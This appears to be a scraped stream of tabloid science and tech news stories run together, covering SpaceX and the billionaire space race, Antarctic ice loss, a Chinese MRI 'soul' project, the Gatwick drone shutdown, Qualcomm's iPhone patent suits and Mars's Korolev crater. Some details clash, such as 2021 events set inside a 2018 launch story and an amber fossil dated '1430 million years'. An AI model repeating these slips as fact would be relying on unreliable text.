SpaceX said. SpaceX sued the U.S. Air Force in 2014 in protest over the military's award of a multibillion-dollar, non-compete contract for 36 rocket launches to United Launch Alliance, a partnership of Boeing and Lockheed. It later dropped the lawsuit after the Air Force agreed to open up competition. Patrick Burke, a meteorologist with the National Weather Service's Weather Prediction Center in College Park, Maryland said: 'It's almost a near certainty that Cape Canaveral will get thunderstorms in the morning, with some severe winds,' 'A cold front bringing the rain is moving in from off shore.' Burke said the weather might not clear up until Saturday. SpaceX halted the planned launch minutes before lift-off on Tuesday due to a technical issue, although it said later the rocket and payload 'remain healthy.' The launch was also cancelled early on Wednesday due to a technical issue with the rocket. Falcon 9 rocket is flying on its third mission, a first because no SpaceX rocket has ever flown more than twice. SpaceX founder Elon Musk (pictured, November 2018) said the aerospace company is aiming for a 24-hour turnaround in 2019 It comes as billionaire Musk is in a space race with fellow billionaires Jezz Bezos and Richard Branson. Both Elon Musk's SpaceX and Blue Origin, the space firm set up by Amazon's Jeff Bezos, were forced to cancel launches earlier in the week. Blue Origin, backed by Jeff Bezos, said it was 'still working through ground infrastructure issues and monitoring incoming weather in West Texas.' They are going to attempt to launch this weekend. Richard Branson and Virgin Galactic recently successfully conducted a test flight of the Virgin Galactics Unity spaceplane. THE BILLIONAIRE SPACE RACE: HOW BRANSON, MUSK AND BEZOS ARE VYING FOR GALACTIC SUPREMACY Jeff Bezos in front of Blue Origin's space capsule Dubbed the 'NewSpace' set, Jeff Bezos, Sir Richard Branson and Elon Musk all say they were inspired by the first moon landing in 1969, when the US beat the Soviet Union in the space race, and there is no doubt how much it would mean to each of them to win the 'new space race'. Amazon founder Bezos had looked set to be the first of the three to fly to space, having announced plans to launch aboard his space company Blue Origin's New Shepard spacecraft on July 20, but Branson beat him to the punch. The British billionaire became Virgin Galactic Astronaut 001 when he made it to space on a suborbital flight nine days before Bezos - on July 11 in a test flight. Bezos travelled to space on July 20 with his younger brother Mark, Oliver Daemen, an 18-year-old physics student whose dad purchased his ticket, and pioneering female astronaut Wally Funk, 82. Although SpaceX and Tesla founder Musk has said he wants to go into space, and even 'die on Mars', he has not said when he might blast into orbit - but has purchased a ticket with Virgin Galactic for a suborbital flight. SpaceX became the first of the 'space tourism' operators to send a fully civilian crew into orbit, with the Inspiration4 mission funded by billionaire Jared Isaacman. His flight was on a Dragon capsule and SpaceX rocket built by space-obsessed billionaire, Elon Musk and took off for the three day orbital trip on September 16 - going higher than the International Space Station. SpaceX appears to be leading the way in the broader billionaire space race with numerous launches carrying NASA equipment to the ISS and partnerships to send tourists to space by 2021. On February 6 2018, SpaceX sent rocket towards the orbit of Mars, 140 million miles away, with Musk's own red Tesla roadster attached. Elon Musk with his Dragon Crew capsule SpaceX has also taken two groups of astronauts to the |International Space Station, with crew from NASA, ESA and JAXA, the Japanese space agency. SpaceX has been sending batches of 60 satellites into space to help form its Starlink network, which is already in beta and providing fast internet to rural areas. Branson and Virgin Galactic are taking a different approach to conquering space. It has repeatedly, and successfully, conducted test flights of the Virgin Galactic's Unity space plane. The first took place in December 2018 and the latest on May 22, with the flight accelerating to more than 2,000 miles per hour (Mach 2.7). More than 600 affluent customers to date, including celebrities Brad Pitt and Katy Perry, have reserved a $250,000 (200,000) seat on one of Virgin's space trips. The final tickets are expected to cost $350,000. Branson has previously said he expects Elon Musk to win the race to Mars with his private rocket firm SpaceX. Richard Branson with the Virgin Galactic craft SpaceShipTwo can carry six passengers and two pilots. Each passenger gets the same seating position with two large windows - one to the side and one overhead. The space ship is 60ft long with a 90inch diameter cabin allowing maximum room for the astronauts to float in zero gravity. It climbs to 50,000ft before the rocket engine ignites. SpaceShipTwo separates from its carrier craft, White Knight II, once it has passed the 50-mile mark. Passengers become 'astronauts' when they reach the Karman line, the boundary of Earth's atmosphere. The spaceship will then make a suborbital journey with approximately six minutes of weightlessness, with the entire flight lasting approximately 1.5 hours. Bezos revealed in April 2017 that he finances Blue Origin with around $1 billion (720 million) of Amazon stock each year. The system consists of a pressurised crew capsule atop a reusable 'New Shepard' booster rocket. At its peak, the capsule reached 65 miles (104 kilometres), just above the official threshold for space and landed vertically seven minutes after liftoff. Blue Origin are working on New Glenn, the next generation heavy lift rocket, that will compete with the SpaceX Falcon 9. Advertisement This marks SpaceX's first so-called National Security Space mission, as defined by the U.S. military, SpaceX said. SpaceX won an $83 million Air Force contract in 2016 to launch the GPS III satellite, which will have a lifespan of 15 years. Thursday's launch is set to be the first of 32 satellites in production by Lockheed under contracts worth a combined $12.6 billion for the Air Force GPS III program, Lockheed spokesman Chip Eschenfelder said. Air Force spokesman William Russell said: 'Once fully operational, this latest generation of GPS satellites will bring new capabilities to users, including three times greater accuracy and up to eight times the anti-jamming capabilities.' The launch was originally scheduled for 2014 but has been hobbled by production delays, the Air Force said. The next GPS III satellite is due to launch in mid-2019, Eschenfelder said, while subsequent satellites undergo testing in the company's Colorado processing facility. The collapse of a gigantic Antarctic ice sheet that caused a global flood more than 125,000 years ago could occur again, scientists fear. Sediment cores show that - due to the collapse of the ice sheet - sea levels were between 19ft (six metres) and 29ft (nine metres) higher than today. Temperatures during this period, called the Eemian, were roughly the same as now, sparking fears it could happen again. Scientists believe the cause of the enormous mass of water was the West Antarctic ice sheet, which flooded huge swathes of what is now dry land, as reported by Science. This satellite image shows an enormous crack in the Pine Island Glacier in Antarctica There have been concerns for years with the stability of the region, with warming ocean waters meaning the base of the ice sheet could be at risk. Jeremy Shakun, a paleoclimatologist at Boston College, said the concern is 'the West Antarctic Ice Sheet might not need a huge nudge to budge.' He said that if this occurred the world would need to prepare for rapidly rising sea levels. A map of ice velocity and elevation that has revealed that a group of glaciers covering one-eighth of the East Antarctic coast have been losing ice for a decade Records suggest, when the ancient ice sheet collapsed the waters rose as fast as 8ft (2.5 metres) per century. It comes after scientists are seeing surprising melting in Earth's polar regions at times they don't expect, like winter, and in places they don't expect, like eastern Antarctica. New studies and reports issued earlier this month at a major Earth sciences conference paint one of the bleakest pictures yet of dramatic and dangerous warming in the Arctic and Antarctica. A new iceberg calved from Pine Island Glacier one of the main outlets where ice from the interior of the West Antarctic Ice Sheet flows into the ocean Alaskan scientists described never-before-seen melting and odd winter problems, including permafrost in 25 spots that never refroze this past winter and wildlife die-offs. Because of warming, the Arctic is 'seeing concentrations of algal toxins moving northward' infecting birds, mammals and shellfish to become a public health and economic problem, said report card co-author Karen Frey. And the warmer Arctic and melting sea ice has been connected to shifts in the jet stream - the currents that move weather fronts in the air - that have brought extreme winter storms in the East in the past year, Osborne said. A group of four glaciers in an area of East Antarctica called Vincennes Bay, west of the massive Totten Glacier, have lowered their surface height by about 9 feet since 2008, hinting at widespread changes in the ocean But it's not just the Arctic. NASA's newest space-based radar, Icesat 2, in its first couple of months has already found that since 2008, the Dotson ice shelf in west Antarctica has lost more than 390 feet (120 metres) in thickness since 2003. That's bigger than the Statue of Liberty, said radar scientist Ben Smith of the University of Washington. Another study released Monday by NASA found unusual melting in parts of East Antarctica, which scientists had generally thought was stable and perhaps even gaining in ice. Glaciers in East Antarctica: Four glaciers west of Totten, in an area called Vincennes Bay, have lowered their surface height by about 9 feet since 2008 before that year, there had been no measured change in elevation for these glaciers Four glaciers at Vincennes Bay has lost nine feet of ice thickness since 2008, said NASA scientists Catherine Walker and Alex Gardner. That's not as fast a loss as in western Antarctica. But loss of ice sheets in Antarctica could lead to massive rise in sea level. 'We're starting to see change that's related to the ocean,' Gardner said. 'Believe it or not this is the first time we're seeing it in this place.' All these paint a consistent picture, scientists said. 'There's a message that Earth is telling us,' former NASA chief scientist Abdalati said. 'We can choose to hear it or we can choose to ignore it.' Chinese scientists are hunting for the human soul and are building the world's most powerful MRI machine to find it. The 100 million piece of equipment will look deep into the human brain to learn more about its complex structure. Many people claim the soul is what separates a human from animals, but evidence for its existence has never been found. Scientists say the project 'will revolutionise brain studies' and may assist in creating future treatments for Parkinson's and Alzheimer's. Scroll down for video The 100 million piece of equipment will look deep into the human brain to understand its complex structure in pursuit of the human soul. Scientists say the project 'will revolutionise brain studies' (stock) The project is being run by the Shenzhen Institutes of Advanced Technology. Its budget is greater than the world's largest telescope, also in China, called the Five-hundred-meter Aperture Spherical radio Telescope (FAST). 'It will show us a different world with phenomenon unseen before maybe even the soul,' one scientist told the SCMP. Another expert added: 'We may for the first time capture a full picture of human consciousness or even the essence of life itself. 'Then we can define them and explain how they work in precise physical terms just like Newton and Einstein defined and explained the universe.' The machine has yet to be built but scientists say it would likely help in observing various chemicals such as sodium, phosphorus and potassium. These elements are crucial in brain function and are involved with passing impulses and messages through the different neurons. Understanding how they move and operate in greater detail can also be used to learn more about consciousness and cognitive diseases such as Parkinson's and Alzheimer. Chinese scientists are hunting for the human soul and are building a cutting edge MRI machine to find it. It is designed to provide a resolution 1,000 times greater than existing MRI scanners and will allow scientists to study the role of chemicals in the brain (stock) It is designed to provide a resolution 1,000 times greater than existing MRI scanners which can visualise objects up to 1 mm across. But, not all in the scientific community the endeavour will be successful. Professor He Rongqiao, of the Chinese Academy of Sciences in Beijing, was sceptical about the project. He said: 'What is consciousness? There is not even a scientific definition. 'If you can't even define it, how do you know what you see is what you are looking for?' Californian residents were expecting a rocket launch last night but were instead left baffled when it was cancelled and replaced with a mysterious glowing cloud. The cancelled launch of the Delta IV Heavy rocket in Southern California left residents scrabbling for an explanation to explain the bizarre formation. Social media was abuzz with speculation as people uploaded pictures and videos of the strange light. The University of California's Lick Observatory near San Jose, said the eerie cloud was formed when a meteor burned up in the upper atmosphere. In a Facebook post, the observatory said: 'A bright meteor was visible in the skies over the Bay Area shortly after sunset this evening, leaving a bright trail that was visible for many minutes in the western sky.' Initial reports of the meteor sighting began at 5:30 pm local time and people took to Twitter to discuss the phenomenon. One Californian said: 'It flashed bright green for a few seconds as it fell and appeared to split up. biggest, most impressive asteroid (?) I've ever seen.' The National Weather Service office in the Bay Area said 'we saw it here at the office.' 'Anyone else see this interesting cloud feature?' the NWS tweeted. The short-lived blinding light from the meteor was replaced by a mysterious trail across the sky after it burned up. National Weather Service Bay Area later revealed the light was likely to be a noctilucent cloud. The clouds give off a shocking blue haze when ice crystals fixed to tiny particles of 'meteor dust' high in the atmosphere reflect sunlight. Formation of ice crystals is a process known as 'nucleation', hence the name. The clouds form in the middle of the atmosphere, in a layer known as the mesosphere - also the region where most meteors are destroyed. Researchers have noted an increase in noctilucent clouds due to human-induced climate change causing increased water vapour in the atmosphere. Californian residents were expecting a rocket launch last night but were instead left baffled when it was cancelled and replaced with a mysterious glowing cloud. Social media was abuzz with speculation as people uploaded pictures and videos of the strange light Noctilucent clouds give off a shocking blue haze when ice crystals fixed to tiny particles of 'meteor dust' high in the atmosphere reflect sunlight. Formation of ice crystals is a process known as 'nucleation', hence the name 'We speculate that the clouds have always been there, but the chance to see one was very, very poor, in historical times,' said Franz-Josef Lubken, an atmospheric scientist at the Leibniz Institute of Atmospheric Physics in Kuhlungsborn, Germany and lead author of the new study in Geophysical Research Letters. According to NASA, they are normally observed seasonally, during summer in both the Northern and Southern hemispheres, when the mesosphere is at its most humid, sending water vapor up from lower altitudes. At this time, it is also the coldest place on Earth, hitting temperatures as low as -210 degrees Fahrenheit as a result of air flow patterns. The cancelled launch of the Delta IV Heavy rocket in Southern California left residents scrabbling for an explanation to explain the bizarre formation. The University of California's Lick Observatory near San Jose, said the eerie cloud was formed when a meteor burned up in the upper atmosphere WHAT ARE NOCTILUCENT (NIGHT-SHINING) CLOUDS? Noctilucent clouds, also called polar mesospheric clouds, form between 47-53 miles above Earth's surface (76-85 km), according to NASA. Here, water vapor freezes into clouds of ice crystals, which are illuminated when the sun is below the horizon. They are seeded by debris from disintegrating meteors, giving them a 'shocking' blue hue when they reflect sunlight. The clouds are formed during the summer of both the northern and southern hemispheres. Advertisement The short-lived blinding light from the meteor was replaced by a mysterious trail across the sky after it burned up. National Weather Service Bay Area later revealed the light was likely to be a noctilucent cloud Studying these clouds provides insight on the behaviour of this layer of the atmosphere, and its role relative to other layers, weather, and climate, the researchers say. Humans first spotted the clouds in 1885, after the eruption of Krakatoa volcano in Indonesia spewed massive amounts of water vapor in the air. Sightings became more common in the 20th century, and by the 1990s researchers began wondering if climate change was making them more visible. Researchers used satellite observations and climate models to simulate how the effects of increased greenhouse gases have contributed to noctilucent cloud formation over the past 150 years. Extracting and burning fossil fuels delivers carbon dioxide, methane and water vapor into the atmosphere, all of which are greenhouse gases. Four pin-sized insects that lived 130 million years ago and were killed by tree resin immediately after hatching have been found in a chunk of Lebanese amber. The discovery marks the first ever fossilised evidence of the short-lived tool the bugs used to break free from their shell, known as 'egg bursters'. Scientists aren't sure exactly how the creatures died but their rapid entrapment sheds new light on the evolutionary history of ancient bugs. Scroll down for video Four insects have been found in amber dating back 1430 million years. They were found with their short-lived 'egg-bursters' and pieces of shell (pictured) Many modern-day insects still employ 'egg bursters' to break free of their shell but they rapidly disappear once the animal has exited. Scientists have said that finding prehistoric evidence of these features is unprecedented. 'The structures that make hatching possible tend to disappear quickly once egg-laying animals hatch, so obtaining fossil evidence of them is truly exceptional,' said study author Dr Michael Engel, a scientist from the University of Kansas. The amber was found in Lebanon and all four specimens were found in the same piece. Pieces of eggshell were also found next to the animals which are roughly the size of a pinhead and ancestors of today's green lacewing. Scientists believe that the onset of the resin likely happened very quickly due the fact some of the unfortunate insects were still clutching their shell. The discovery marks the first ever fossilised evidence of the short-lived tool the bugs use to break free from their shell, known as egg bursters. Scientists aren't sure exactly how the creatures died The amber was found in Lebanon and all four specimens were found in the same piece. Pieces of eggshell were also found next to the animals which are roughly the size of a pinhead and ancestors of today's green lacewing WHAT IS AMBER? Amber has been used in jewelry for thousands of years, and is often found to hold remarkably well-preserved materials from eras long since passed. The golden-coloured translucent substance is formed when resin from extinct coniferous trees became hardened and then fossilised. Often insects, plant material, pollen and other creatures became trapped in the resin, causing them to be entombed within after it solidified. Advertisement Similarities with the green lacewing and the first fossilised evidence of the short-lived hatching tools indicated to the researchers that egg bursters has remained integral to insect life for millions of years. 'Egg bursters are diverse in shape and location,' said study lead author Dr Ricardo Perez-de la Fuente, a scientist at the Oxford University Museum of Natural History. 'Modern green lacewing hatchlings split the egg with a 'mask' bearing a jagged blade. Once used, this 'mask' is shed and left attached to the empty egg shell, which is exactly what we found in the amber together with the newborns.' The study was published in the journal Palaeontology. Chip supplier Qualcomm Inc won a second court skirmish in its worldwide patent battle with Apple on Thursday, with the iPhone maker saying it would pull some older models from its German stores. Qualcomm's win in Germany comes weeks after it secured a court order to ban sales of some iPhone models in China. Apple, which is contesting both rulings, has continued to offer its iPhones in China but made changes to its iOS operating system in the wake of the Chinese order. Chip supplier Qualcomm Inc won a second court skirmish in its worldwide patent battle with Apple on Thursday, with the iPhone maker saying it would pull some older models from its German stores. The German victory may affect only a few million iPhones out of the hundreds of millions that Apple sells each year. Still, it is a small but clear win in a complex legal battle that will spin into overdrive in the coming months as antitrust regulators and Apple both take Qualcomm to court in the United States. Apple alleges that Qualcomm engaged in illegal behavior to preserve a monopoly on modem chips, which help mobile devices connect to wireless data networks. Qualcomm has in turn accused Apple of using the chip supplier's vast stable of technology innovations without proper compensation. While a sales ban in China could hurt Apple's bottomline, it is unlikely the two patent skirmishes will sway the outcome of the broader battle, where Qualcomm has suffered a series of setbacks fighting U.S. antitrust regulators. A source familiar with the situation said this week that there are no settlement talks between Apple and Qualcomm Shares of Apple were down 1.8 percent at $157.98 in afternoon trading. Qualcomm shares were up 0.5 percent at $56.97. Qualcomm is not pursuing the software patents in the Chinese case in other jurisdictions and suffered an early loss while pursuing a U.S. sales ban on the U.S. version of the hardware patent at issue in Germany. On Thursday, Apple said it would pull older iPhones from its German stores after a court ruled that Apple had infringed a hardware patent of Qualcomm Inc and banned sales of iPhones there with chips from Apple supplier Qorvo Inc. 'Two respected courts in two different jurisdictions just in the past two weeks have now confirmed the value of Qualcomms patents and declared Apple an infringer, ordering a ban on iPhones in the important markets of Germany and China,' Don Rosenberg, Qualcomm's general counsel, said in a statement. For each of the two Apple entities it won orders against, Qualcomm needs to post a bond of about 668.4 million euros, or $765.9 million, before it can begin proceedings to enforce the order, a move Qualcomm said it would carry out 'within a few days.' The smartphone maker said it was appealing the decision, but the order goes into effect as soon as Qualcomm posts the bond. Apple said it would pull some phones from its stores while it pursued an appeal. 'We are of course disappointed by this verdict and we plan to appeal,' Apple said in a statement. THE US PATENT ROW In its US case, Qualcomm alleges that it has six patents developed in the past four years that improve battery life in mobile devices and that 'Apple uses these technologies in its devices but is not paying for them.' In its complaint to the ITC, Qualcomm asked the body to ban 'iPhones that use cellular baseband processors other than those supplied by Qualcomms affiliates.' Qualcomm has not alleged that Intel chips violate its patents but claims that the way Apple implements them in the iPhone does. Advertisement 'All iPhone models remain available to customers through carriers and resellers in 4,300 locations across Germany. During the appeal process, iPhone 7 and iPhone 8 models will not be available at Apples 15 retail stores in Germany. iPhone XS, iPhone XS Max and iPhone XR will remain available in all our stores.' Stacy Rasgon, an analyst with research firm Bernstein, said in a note that Germnany was a small iPhone market for Apple, selling about 10 million units a year, with possibly only half of those being the older models affected by the court's order. When Qualcomm posts the bond to enforce the order, it could seek to extend the ban to Apple's resellers and the newer iPhone models not included thus far, legal experts said. Qualcomm said the court had granted its request for 'a recall and destruction of all accused devices from all retailers in Germany.' But pressing forward with enforcement presents some risks for Qualcomm. In an earlier proceeding before the U.S. International Trade Commission, U.S. regulators viewed a more extensive set of technical evidence about whether Qorvo's chips and Apple's phones violated Qualcomm's patents. Those U.S. regulators sided with Apple and Qorvo. If higher courts in Germany do the same when Apple appeals, Qualcomm could be forced to forfeit its bond if the decision becomes final. The German case is Qualcomm's third major effort to secure a ban on Apple's lucrative iPhones over patent infringement allegations after similar efforts in the U.S. and China. In the United States, Qualcomm sought to ban the import of iPhones with chips from Intel Corp. Trade regulators found Apple had infringed one Qualcomm patent, but so far declined to ban the phones with Intel chips because regulators feared it would hurt competition in the chip marketplace. 'Competition authorities around the world have repeatedly found Qualcomms licensing practices unlawful, yet Qualcomm continues to try to achieve the same results through a campaign of patent lawsuits,' Steven Rodgers, Intel's general counsel, said in a statement after the ruling in Germany. In Germany, the judge ruled that phones with a chip from Apple supplier Qorvo violate one of Qualcomm's patents around so-called envelope tracking, a feature that helps mobile phones save battery power while sending and receiving wireless signals. Mike Baker, Qorvos chief intellectual property counsel, said in a statement that U.S. trade regulators had ruled that Qorvo's chips did not violate the U.S. version of Qualcomm's patent and that the chip's inventor wasn't allowed to testify at the German hearing. 'We believe our envelope tracking chip does not infringe the patent in suit, and the court would have come to a different conclusion if it had considered all the evidence,' Baker said. In China, Apple is still pursuing a so-called request for reconsideration with the court that issued the bans. Apple said its phones remained on sale and it believed it has complied with the Chinese court's order, but it also made changes to its iPhone software in the wake of the ruling. Qualcomm believes Apple is violating the Chinese court order despite the new software and must stop selling phones there. The criminal who is illegally flying a drone at Gatwick Airport is being hunted by police and military personnel using cutting-edge technology. Gatwick has been brought to a standstill in the wake of the rogue drone terrorising the airport. Several methods have been developed, including laser-laden drones, high-tech jammers and tracking the signal via triangulation, which may be used to end the fiasco. Human snipers have also been brought in to help with the pursuit of the drone. The Army has been working on a 'Drone Dome' or 'kill-jammer' - which can 'soft kill' a drone by knocking out its communications or a 'hard kill' by shooting it down with a laser from up to two miles away - and may use this prototypical technology. It remains unknown when the debacle will end and normal service will be resumed and how the drone fiasco will be drawn to a close. Scroll down for video This is the first picture of the drone causing chaos at Gatwick was last seen at 3pm today (circled) - just after Gatwick announced they hoped to re-open at 4pm Police are pictured at Gatwick's police station roof today as they use equipment in the ongoing task to stop the drone unleashing chaos in Sussex. It remains unknown when the debacle will end and normal service will be resumed and how the drone fiasco will be ended Frequency jammers and early warning systems are common near US runways but are seldom employed in the UK. Communication between the drone and the operator can also be used to pinpoint its location through triangulation, in a similar way to mobile phone tracking. Police are having difficulty locating the operator as the drone disappears when they close in with via triangulation. The process requires constant connection and if it is lost, so is the location of the perpetrator. As the drone disappears the signal vanishes and police are then unable to narrow down the location of the suspect. Radio transmitters operate with a specific frequency range, one that has been set aside for RC car/aircraft use. If the drone is recovered, it should be a formality for the authorities to successfully identify the other component. Physical methods of destroying the troublesome drone focus around two main ideas; a physical destruction of the device and a communications block which will see the drone lose contact with its controller and drop out the sky. The drone has buzzed across Gatwick's runway more than ten times since 9pm last night but police claim every time they get close to it it 'disappears' Police have taken to the rooftops to help track down the drone operator using specialist equipment Earlier this year, Sussex announced it was one of the first counties to significantly invest in drone technology. Assistant Chief Constable Steve Barry, head of Surrey and Sussex Police Operations, said at the time: 'We have invested significantly in training 38 operators to CAA (Civil Aviation Authority) accredited standard to give us every opportunity to use drones when appropriate to do so to critically assess the benefits. 'Our project, operating five drones, is by far the largest in the UK, and there are a number of forces around the country that are commencing drone trials and the information from their trials will be incorporated into our report.' 'Trained officers in Surrey and Sussex have used the existing drone for multiple operations over the past two years, including missing person searches, protester responses, airport security and crash scene investigations.' When asked why the drones had not been deployed to pursue the rogue device the police force said: 'It would be a case of luck really, if our drones happen to be in the air. 'They can only stay in the air for a limited time, I mean you can't have a drone continually flying, and there haven't been that many sightings. It's a case of pot luck really' In May, London Southend Airport tested an anti-drone system which uses a combination of radio frequency and optical sensors to detect nearby drones. This is the first picture of the drone causing chaos at Gatwick was last seen at 3pm today (circled) - just after Gatwick announced they hoped to re-open at 4pm People are growing increasingly frustrated as they sit trapped at the airport where the drone has grounded planes after chaos began at 9.03pm last night Police marksmen armed with Heckler & Koch HK417 sniper rifles have been stationed on the perimeter of Gatwick and along its runway (pictured) as they prepare to shoot down a drone that have shut down the airport Police are pictured at Gatwick's police station roof today as they use equipment in the ongoing task to stop the drone unleashing chaos in Sussex Is it possible to stop drones from flying in restricted areas? Drones are a problem not only for airports - but also for prisons, where attempts have been made to send everything from phones to drugs. The law on drones - or UAVs (unmanned aerial vehicles) - has been tightened in recent years but Jon Parker, managing director of UK drone training company Flyby Technology, says rules are irrelevant to bad actors. 'They will always get through. This isn't something that rules can help with because it doesn't matter what the rules were today, they've just broken those rules,' he explained. Geofencing is used by most off-the-shelf commercial drones, which creates a software bubble around restricted areas that block aircraft from entering, but not all drone-makers include the feature and anyone building their own machine can exclude it. Jamming is another option, which the US Federal Aviation Authority and China's Guangzhou Baiyun International Airport have already tested, but Mr Parker says the technique has its setbacks, notably because many drones use the same control link signal as WiFi networks. Tokyo has resorted to a police drone squad to patrol important buildings and capture nuisance drones. Aside from technological assistance, eagles and falcons have been explored as a possible solution for rogue drones, though the results were not as successful as hoped. In 2016, Dutch police began training eagles to hunt out drones, but a year later the programme was pulled as birds were apparently not always doing what they were trained to do and because of the cost. Advertisement The week-long trial using Metis Aerospace's Skyperion product saw test drones flown within a 2.5-mile (4km) radius of the airport in Essex - 40 miles away from London - for the two sensors to pick up, and it was said to have been a success. In August, it was revealed that the British Army had bought an Israeli anti-drone system, which will be used to protect sensitive facilities in the UK. The Multi-Mission Hemispheric Radars technology by Rada Electronic Industrials is said to provide 360-degree surveillance and be able to detect drones 3.5km (2.2 miles) away. The Drone Dome, in which the technology is embedded, can disable an airborne drone in two seconds from its five kilowatt 'hard kill laser effector'. Meanwhile a system developed by three British companies which is capable of jamming signals on unmanned aerial vehicle was trialled in its first public test by the US Federal Aviation Authority in June 2016. The Anti-UAV Defense System (Auds) system - built by Enterprise, Chess Systems and Blighter - uses high powered radio waves to disable drones, effectively blocking their communication and switching them off in mid-air. More recently in November 2017, a 'detective early warning system' and 'drone interference system' against unmanned aerial vehicles was trialled at Guangzhou Baiyun Airport in China, which has also faced issues with drones near airports. The Cangqin system - which can work in all weather conditions - can monitor a low-altitude airspace five miles (8km) in diameter, and locate a drone three seconds after it becomes operative within the supervised range. Earlier this year, China demonstrated the capability of its drone-killing lasers have successfully destroyed an unmanned aerial vehicle (UAV) from 1,000 feet (300 metres) away. Back in Britain, research funded by the Department for Transport (DfT) found that a drone weighing 400g (14oz) could smash a helicopter windscreen, and one weighing 2kg (4lbs) could critically damage an airliner's windscreen. Advertisement It is a picture perfect Christmas card image from another planet. The European Space Agency's Mars Express has returned an incredible new series of images showing a giant crater on the red planet. It shows the Korolev crater, a 50 mile (82 km) wide feature in in the northern lowlands of Mars. Scroll down for video The European Space Agency's Mars Express has returned an incredible new series of images showing the Korolev crater, a 50 mile (82 km) wide feature in in the northern lowlands of Mars WHAT CAUSES THE ICE? The ever-icy presence is due to a phenomenon known as a 'cold trap' caused by the crater's floor lying two kilometres vertically beneath its rim. The very deepest parts of Korolev crater act as a natural cold trap. The air moving over the deposit of ice cools down and sinks, creating a layer of cold air that sits directly above the ice itself. Acting as a shield, this layer helps the ice remain stable and stops it from heating up and disappearing. Advertisement Just south of a large patch of dune-filled terrain that encircles part of the planet's northern polar cap (known as Olympia Undae), ESA says it is 'an especially well-preserved example of a martian crater.' It is filled not by snow but ice, with its center hosting a mound of water ice some 1.8 kilometres thick all year round. This domed deposit forms a glacier comprising around 528 cubic miles of non-polar ice on Mars. Smaller amounts of water ice are distributed on and around the crater edge in the form of thin layers of frost. This ever-icy presence is due to a phenomenon known as a 'cold trap' caused by the crater's floor lying two kilometres vertically beneath its rim. The very deepest parts of Korolev crater, those containing ice, act as a natural cold trap: the air moving over the deposit of ice cools down and sinks, creating a layer of cold air that sits directly above the ice itself. Acting as a shield, this layer helps the ice remain stable and stops it from heating up and disappearing. Air is a poor conductor of heat, exacerbating this effect and keeping Korolev crater permanently icy. Taken by the Mars Express High Resolution Stereo Camera (HRSC), this view of Korolev crater comprises five different 'strips' that have been combined to form a single image, with each strip gathered over a different orbit. Colour-coded topographical image map of the Korolev Crater: The image strips acquired from different angles by the HRSC camera system on board Mars Express are used to generate digital terrain models of the Martian surface, containing height information for each recorded pixel. The colour coding of the digital terrain model (top right) indicates the elevation differences effectively: the topographical profile of the region covers approximately 3500 metres of elevation. The crater is also shown in perspective, context, and topographic views, all of which offer a more complete view of the terrain in and around the crater. Taken by the Mars Express High Resolution Stereo Camera (HRSC), this view of Korolev crater comprises five different 'strips' that have been combined to form a single image, with each strip gathered over a different orbit. The crater is named after chief rocket engineer and spacecraft designer Sergei Korolev, dubbed the father of Soviet space technology. Korolev worked on a number of well-known missions including the Sputnik program the first artificial satellites ever sent into orbit around the Earth, in 1957 and the years following, the Vostok and Vokshod programs of human space exploration (Vostok being the spacecraft that carried the first ever human, Yuri Gagarin, into space in 1961) as well as the first interplanetary missions to the Moon, Mars, and Venus. He also worked on a number of rockets that were the precursors to the successful Soyuz launcher still the workhorses of the Russian space programme, and used for both crewed and robotic flights. The region of Mars has also been of interest to other missions, including ESA's ExoMars programme, which aims to establish if life ever existed on Mars. The Colour and Stereo Surface Imaging System (CaSSIS) instrument aboard the ExoMars Trace Gas Orbiter, which began operating at Mars on 28 April 2018, also snapped a beautiful view of part of Korolev crater this was one of the very first images the spacecraft sent back to Earth after arriving at our neighbouring planet. CaSSIS imaged a 40-kilometre-long chunk of the crater's northern rim, neatly showcasing its intriguing shape and structure, and its bright icy deposits. Scientists combined three pictures of the Korolev Crater taken from an altitude of 400 kilometers (249 miles) on April 15. The well-preserved Korolev impact crater is located in the Martian northern lowlands, which surround the North Pole ice cap. The image is a mosaic made up of five individual images acquired by the DLR-operated HRSC stereo camera on board the ESA Mars Express orbiter Lead researcher Nicolas Thomas said Thursday the colors in the resulting image were also adjusted to best resemble those visible to the human eye. The camera used is one of four instruments on board the orbiter, which is designed to look for gases such as methane that could indicate biological or geological activity on Mars. Thomas said the camera will allow scientists to inspect areas where gases are found, monitor Mars for signs of change and help scout the planet for future landing sites. The spacecraft arrived in a near-circular 400 km altitude orbit a few weeks ago ahead of its primary goal to seek out gases that may be linked to active geological or biological activity on Mars. In this image provided by the European Space Agency, ESA, The ExoMars Colour and Stereo Surface Imaging System, CaSSIS, captured this view of the rim of Korolev crater (73.3N/165.9E) on 15 April 2018. The European Space Agency has released its first image taken by a probe orbiting Mars, showing the ice-covered edge of a vast crater. Scientists combined three pictures taken by the Trace Gas Orbiter's camera instrument, CaSSIS, from an altitude of 400 kilometers (249 miles) on April 15. The orbiter's Colour and Stereo Surface Imaging System, CaSSIS, took this stunning image, which features part of an impact crater, during the instrument's test period. The camera was activated on 20 March and was tested for the start of its main mission on 28 April. 'We transmitted new software to the instrument at the start of the test phase and after a couple of minor issues, the instrument is in good health and ready to work,' says the camera's principal investigator, Nicolas Thomas from the University of Bern in Switzerland. The image captures a 40 km-long segment of Korolev Crater located high in the northern hemisphere. The bright material on the rim of the crater is ice. 'We were really pleased to see how good this picture was given the lighting conditions,' says Antoine Pommerol, a member of the CaSSIS science team working on the calibration of the data. 'It shows that CaSSIS can make a major contribution to studies of the carbon dioxide and water cycles on Mars.' The image is assembled from three images in different colours that were taken almost simultaneously on 15 April. Back in Feb, a space probe swung into position around Mars in preparation to analyze its atmosphere for possible signs of life. The craft is ready to start 'sniffing' the atmosphere for gases such as methane. How methane may be created and destroyed on Mars is illustrated 'We aim to fully automate the image production process,' says Nick. 'Once we achieve this, we can distribute the data quickly to the science community for analysis.' The team also plans to make regular public releases. The orbiter's camera is one of four instruments on the Trace Gas Orbiter, or TGO, which also hosts two spectrometer suites and a neutron detector. The spectrometers began their science mission on 21 April with the spacecraft taking its first 'sniff' of the atmosphere. In reality, the sniffing is the spectrometers looking at how molecules in the atmosphere absorb sunlight: each has a unique fingerprint that reveals its chemical composition. Advertisement If you're yet to explore to Australia then feast your eyes on these, because they'll definitely whet your appetite. Tourism Australia's social media team has revealed the most popular Instagram photos it's shared with its 3.3 million followers this year, with jaw-dropping landscapes and some cute critters on show. A stunning aerial shot of the SS City of Adelaide wreck off Magnetic Island taken by @conormoorephotography was the most liked image with 186,598 likes, while a comical video of a kangaroo stretching and scratching its belly by @tomsunderwaterphotography came second with 184,310 double taps. A stunning 